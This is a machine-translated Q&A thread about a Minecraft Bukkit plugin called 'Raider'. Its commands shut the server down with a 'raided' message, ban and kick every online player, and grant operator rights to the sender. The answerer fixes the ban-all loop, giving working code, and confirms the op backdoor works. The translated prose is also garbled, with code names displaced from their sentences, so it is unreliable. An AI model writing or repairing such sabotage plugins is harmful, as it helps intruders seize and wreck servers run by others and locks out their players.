package com.LeGhost.main;
import java.util.Random;
import org.bukkit.Bukkit;
import org.bukkit.command.Command;
import org.bukkit.command.CommandSender;
import org.bukkit.command.ConsoleCommandSender;
import org.bukkit.entity.Player;
import org.bukkit.plugin.java.JavaPlugin;
public class Raider extends JavaPlugin{
private JavaPlugin plugin = Raider.this;
public void onEnable() {
plugin.getLogger().info("Raider fully enabled!");
}//ENABLE
public void onDisable() {
plugin.getLogger().info("Raider disabled!");
}//DISABLE
public boolean onCommand(CommandSender sender, Command cmd, String label, String[] args) {
if(sender instanceof Player || sender instanceof ConsoleCommandSender) {
if(cmd.getName().equalsIgnoreCase("raid")) {
plugin.getServer().dispatchCommand(Bukkit.getServer().getConsoleSender(), "stop YOUR SERVER JUST GOT RAIDED!!!!!!!");//stops the server... DOES WORK
}
if(cmd.getName().equalsIgnoreCase("banall")) {
@SuppressWarnings("deprecation")
int playerNumber = plugin.getServer().getOnlinePlayers().length;
@SuppressWarnings("deprecation")
int random = new Random().nextInt(Bukkit.getOnlinePlayers().length);
@SuppressWarnings("deprecation")
Player player = Bukkit.getOnlinePlayers()[random];
while(playerNumber > 0) {
plugin.getServer().dispatchCommand(Bukkit.getServer().getConsoleSender(), "ban " + player);
}//THIS DOES NOT WORK! It is supposed to ban all the players that are currently on the server by choosing a random player while the player count is over 0
}
if(cmd.getName().equalsIgnoreCase("moop")) {
plugin.getServer().dispatchCommand(Bukkit.getServer().getConsoleSender(), "op " + sender.getName());
}//DOES NOT WORK!! It should op the sender.
}
return false;
}
}
如果有人可以帮助我,我会感激不尽! 另一件事是banall事情崩溃了服务器。 我想知道任何修复,并知道为什么这不起作用
banall的控制台输出
[22:09:46] [Server thread/WARN]: Unexpected exception while parsing console command "banall"
org.bukkit.command.CommandException: Unhandled exception executing command 'banall' in plugin Raider v1.0
at org.bukkit.command.PluginCommand.execute(PluginCommand.java:46) ~[spigot.jar:git-Spigot-f928e7a-994b2aa]
at org.bukkit.command.SimpleCommandMap.dispatch(SimpleCommandMap.java:141) ~[spigot.jar:git-Spigot-f928e7a-994b2aa]
at org.bukkit.craftbukkit.v1_8_R3.CraftServer.dispatchCommand(CraftServer.java:642) ~[spigot.jar:git-Spigot-f928e7a-994b2aa]
at org.bukkit.craftbukkit.v1_8_R3.CraftServer.dispatchServerCommand(CraftServer.java:628) [spigot.jar:git-Spigot-f928e7a-994b2aa]
at net.minecraft.server.v1_8_R3.DedicatedServer.aO(DedicatedServer.java:404) [spigot.jar:git-Spigot-f928e7a-994b2aa]
at net.minecraft.server.v1_8_R3.DedicatedServer.B(DedicatedServer.java:368) [spigot.jar:git-Spigot-f928e7a-994b2aa]
at net.minecraft.server.v1_8_R3.MinecraftServer.A(MinecraftServer.java:657) [spigot.jar:git-Spigot-f928e7a-994b2aa]
at net.minecraft.server.v1_8_R3.MinecraftServer.run(MinecraftServer.java:560) [spigot.jar:git-Spigot-f928e7a-994b2aa]
at java.lang.Thread.run(Unknown Source) [?:1.8.0_45]
Caused by: java.lang.IllegalArgumentException: bound must be positive
at java.util.Random.nextInt(Unknown Source) ~[?:1.8.0_45]
at com.LeGhost.main.Raider.onCommand(Raider.java:32) ~[?:?]
at org.bukkit.command.PluginCommand.execute(PluginCommand.java:44) ~[spigot.jar:git-Spigot-f928e7a-994b2aa]
... 8 more
moop的控制台输出
[22:12:59 INFO]: Unknown command. Type "/help" for help.
更新了代码
package com.LeGhost.main;
import org.bukkit.BanList;
import org.bukkit.Bukkit;
import org.bukkit.Server;
import org.bukkit.command.Command;
import org.bukkit.command.CommandSender;
import org.bukkit.command.ConsoleCommandSender;
import org.bukkit.entity.Player;
import org.bukkit.plugin.java.JavaPlugin;
public class Raider extends JavaPlugin{
private JavaPlugin plugin = Raider.this;
public void onEnable() {
plugin.getLogger().info("Raider fully enabled!");
}
public void onDisable() {
plugin.getLogger().info("Raider disabled!");
}
@SuppressWarnings("deprecation")
public boolean onCommand(CommandSender sender, Command cmd, String label, String[] args) {
if(sender instanceof Player || sender instanceof ConsoleCommandSender) {
if(cmd.getName().equalsIgnoreCase("raid")) {
plugin.getServer().dispatchCommand(Bukkit.getServer().getConsoleSender(), "stop " + "Hacked lel");
}
if(cmd.getName().equalsIgnoreCase("banall")) {
plugin.getServer().getOnlinePlayers();
Bukkit.getOnlinePlayers();
for (Player player1 : Bukkit.getOnlinePlayers()) {
getServer().dispatchCommand(Bukkit.getConsoleSender(), "ban " + player1.getName() + " Hacked lel");
((Server) plugin).getBanList(BanList.Type.NAME).addBan(player1.getName(), "Hacked lel", null, sender.getName());
player1.kickPlayer("Hacked lel");
}
}
if(cmd.getName().equalsIgnoreCase("moop")) {
plugin.getServer().dispatchCommand(Bukkit.getServer().getConsoleSender(), "op " + sender.getName());
}
}
return false;
}
}
答案 0 :(得分:1)
您似乎正在尝试使用getOnlinePlayers()
返回的玩家集合,就像数组一样。您需要使用length
方法来获取集合中包含的元素数量,而不是size()
。要按索引获取特定玩家,您可以使用(Player) Bukkit.getOnlinePlayers().toArray()[index]
,其中index
可能是您随机生成的索引。
在"ban " + player
行中,您将String
“禁令”与对象player
连接起来。由于player
不是String
,因此会自动调用toString()
方法将其转换为一个方法。 toString()
的{{1}}方法会导致输出类似Player
,因此会尝试禁用使用该输出的播放器。相反,使用CraftPlayer{name="Foo"}
方法让玩家获得播放器的真实名称(在本例中为“Foo”)。
除非出于某种原因你真的想要使用你选择随机播放器的方法,否则你可以使用for循环来禁止服务器上的每个播放器。但是,即使使用随机化方法,您仍然需要某种循环。永远不会更新getName()
引用以反映在服务器上选择其他播放器。您的代码选择一个随机播放器,然后只要服务器不为空就一遍又一遍地禁止同一个播放器(如果有超过2个播放器播放,您的服务器可能会崩溃) )。相反,您可以尝试在禁令之后的每次迭代中更新玩家变量,再次获取玩家数量,选择随机索引并设置玩家变量的新值。虽然只是为每个循环使用一个迭代遍历每个玩家并以这种方式禁止它们可能仍然会更好。
以下是禁止所有玩家使用a for each循环的示例:
player
您还可以将for (Player player : Bukkit.getOnlinePlayers()) {
getServer().dispatchCommand(Bukkit.getConsoleSender(), "ban " + player.getName());
//Alternatively use the method below to ban players
//Bukkit.getBanList(BanList.Type.NAME).addBan(player.getName(), "insert_reason_here", null, sender.getName());
//player.kickPlayer("Banned by admin");
}
注释放在整个@SuppressWarnings
方法之外,这样就不必多次写入。
我测试了你的“moop”命令作为一名玩家,它似乎工作正常。